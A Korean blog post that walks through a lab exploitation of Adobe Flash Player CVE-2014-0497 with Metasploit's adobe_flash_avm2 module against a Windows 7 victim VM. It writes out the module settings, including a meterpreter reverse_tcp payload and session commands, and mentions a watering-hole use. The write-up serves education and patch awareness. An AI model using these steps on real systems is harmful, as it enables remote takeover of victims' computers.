서론

Adobe Flash Player

지금은 지원이 종료된 Adobe Flash Player을 대상으로 Metasploit을 이용해 Adobe Flash Player Integer Underflow Remote Code Execution(CVE-2014-0497) 취약점 공격을 시도했다.

 

 

본론

CVE-2014-0497은 Adobe Flash Player의 ActiveX 구성 요소에서 발견된 취약점을 이용하며 swf 파일을 통해 avm2 지시자를 이용해 정수 언더플로우을 일으켜 임의적인 코드를 실행시킬 수 있다. 이를 통해 2014년 2월에 실제로 악용된 것 처럼 원격 코드를 실행할 수 있다.[참고글]

이를 통해 직접 피해자 PC와 공격자 PC를 구현 후 공격을 통해 시연해 보도록 한다.
 

실습 환경

실습 시나리오

Metasploit을 구성하는 메타프리터 기능을 이용한다. 메타프리터(Meterpreter)는 루비 기반의 스크립트로 작성되었으며, 취약점을 이용한 대상 서버에 침투한 후, 간단한 명령을 이용해 시스템의 정보를 획득할 수 있는 기능을 제공한다.

실험 시나리오는 윈도우7이 설치된 PC에 가상머신 형태로 칼리 리눅스를 설치한다. 이 경우, PC의 고정 IP 주소와 칼리 리눅스의 가상 IP가 서로 다르므로 별도의 시스템으로 보고 공격을 해보는 것이다.

먼저 칼리 리눅스에서 Metasploit을 활용하여 악성행위를 하는 swf를 가지고 있는 사이트를 만들어낸다. 피해자PC사용자는 해당 사이트를 접속하게 되면, 악성 swf파일이 실행이 되면서, 윈도우 시스템에 침투하고 관리자 모드 권한을 획득한 다음, 윈도우 시스템을 장악한다. 이를 위해서는 윈도우 7에 백도어 파일을 설치하고 실행시킨다. 해당 시나리오를 그림으로 표현하면 아래와 같다.

CVE-2014-0497 시나리오

 

가상 머신 및 기초 환경 구축

칼리리눅스와 윈도우 7의 네트워크 어뎁터 타입은 NAT으로 설정하고 IP를 확인하여 동일한 서브넷에 연결되도록 한다.

윈도우 7을 사용한 이유는 현재 윈도우 10에서는 Adobe Flash Player을 지원하지 않기도 하며 사용을 막아두었기에 윈도우 7 환경에서 시도하였다. 또한 CVE-2014-0497에 해당하는 Adobe Flash Player는 11.1.102.55 버전을 사용한다. 또한 윈도우 7을 통해 인터넷 익스프롤러 8이 기본으로 설치되어 있기에 따로 구할 필요없이 사용이 가능하다.

  • 가상머신 1(공격자) - 칼리리눅스: kali-linux-2021.1-live-amd64(64비트)
  • 가상머신 2(피해자) - 윈도우7 : Win7_Pro_K_SP1_Korean_x32(32비트).iso
  • 가상머신 2(피해자) - Adobe Flash Player Installer 11.1.102.55.exe
Adobe Flash Player Installer 11.1.102.55

11.1.102.55 버전임을 알 수 있다.
인터넷 익스프롤러 8.0

 

네트워크 구성

피해자(victim)인 윈도우7의 IP 주소를 확인한다. IP 주소는 192.168.44.131이다.

피해자의 IP 구성(192.168.44.131)

공격자(attacker)인 칼리리눅스의 IP 주소를 확인한다. IP 주소는 192.168.44.132 이다.

공격자의 IP 구성(192.168.44.132)

위 사진을 통해 같은 서브넷에 있음을 알 수 있다.

공격자 초기 설정

msfconsole 명령어를 사용해서 Metasploit console을 작동시킨다.

msfconsole 실행
 

use exploit/windows/browser/adobe_flash_avm2 명령어를 사용하여서 adobe_flash_avm2 모듈을 작동한다,

adobe_flash_avm2 모듈 실행
 

기본적인 셋팅은 아래 명령어들과 같다.

 

  1. set URIPATH [주소]
  2. set SRVPORT [접속 포트]
  3. (default) set PAYLOAD windows/meterpreter/reverse_tcp

 

URIPATH 키워드로 만드는 사이트의 주소를 입력하고, SRVPORT로 해당 주소로 접속하는 포트를 설정하고, PLAYLOAD 키워드로 payload의 공격내용을 정한다. reverse_tcp 공격은 tcp를 활용한 원격제어 공격 방법이다.

run 키워드를 사용하면, 해당 사이트가 만들어지며 공격을 준비하게 된다. 만약 실제 상황이라면 워터링 홀 공격처럼 한 사이트를 해킹하여 플래시 이미지를 백그라운드에 넣어 적용이 가능하다.

위와 같이 서버가 실행되어있음을 알 수 있다.
 
 

피해자 PC를 통한 악성코드 감염

 

swf 실행을 통해 악성코드 감염

위 페이지와 같이 해당 URL 로 이동 시 사용자의 입력 없이 바로 swf 가 실행이 되어 explorer.exe에 마이그레이션 됨을 알 수 있다.

공격자와 피해자 PC 연결 확인

공격자 PC에서 피해자 PC의 연결 확인

192.168.44.131이라는 주소(피해자PC)에서 사이트에 접속하면 아래 사진과 같은 로그가 출력이 된다.

explorer.exe로 실행
 

만약 swf파일을 통해서 원격 제어 백도어가 실행이 될 경우에 아래 사진과 같은 로그가 뜬다. 해당 로그가 떴다면, 명령 키워드를 사용하여서 해당 컴퓨터를 원격 조종할 수 있게 된다.

연결된 세션 확인

session –l 명령어를 사용해서 사용할 수 있는 원격 세션의 리스트를 볼 수 있다. 아래의 사진으로 봤을 때 192.168.44.132(공격자 주소)에서 192.168.44.131(피해자 주소)로 원격을 할 수 있는 목록이 2개가 있다는 것을 확인할 수 있다.

피해자 바탕화면 파일 리스트 출력

sessions –i [세션번호]를 입력을 하면 위 명령어 결과에서 얻은 세션 ID중 선택된 세션번호의 세션을 실행한다. 위와 같은 경우 공격자 4444포트에 피해자 49227 포트로 원격을 하는 세션을 선택한 것이다.

피해자 PC 이름, 윈도우 버전 확인
 
해당 세션을 실행을 하면 meterpretercmd명령어를 실행할 수 있게 된다, 아래 사진은 그 실행의 결과이다. getuidsysinfo명령어가 정상적으로 실행이 된 것을 알 수 있다.
피해자의 PC에서 실행중인 pid 3888을 가진 explorer.exe
 

위의 사진은 피해자 pc에서 사용중인 explorer.exe을 찾아 본 것이다.

pid 3888을 가진 explorer.exe가 현재 원격 제어를 통해 실행이 되고 있는 윈도우 탐색기의 실행파일이다. 현재 백도어와 그로 인해 실행되는 원격 세션은 해당 프로세스로 작동이 되고 있다.

 

결론

실제로 CVE-2014-0497 제로데이 취약점을 이용한 악성코드가 유포가 되었으며 2014년 2월 4일에 업데이트가 진행되었다. 보안 패치는 꼭 하자.

'기술보안 > CVE' 카테고리의 다른 글

Apache struts 2 취약점(CVE-2023-50164)  (0) 2024.02.29
SMBghost 실습(CVE-2020-0796)  (0) 2023.02.14
CVE-2021-35394 : RealTek UDPServer command injection attempt  (0) 2022.02.20
Log4Shell 정리  (0) 2021.12.30
CVE-2021-44228 : Apache Log4j 2  (0) 2021.12.11
복사했습니다!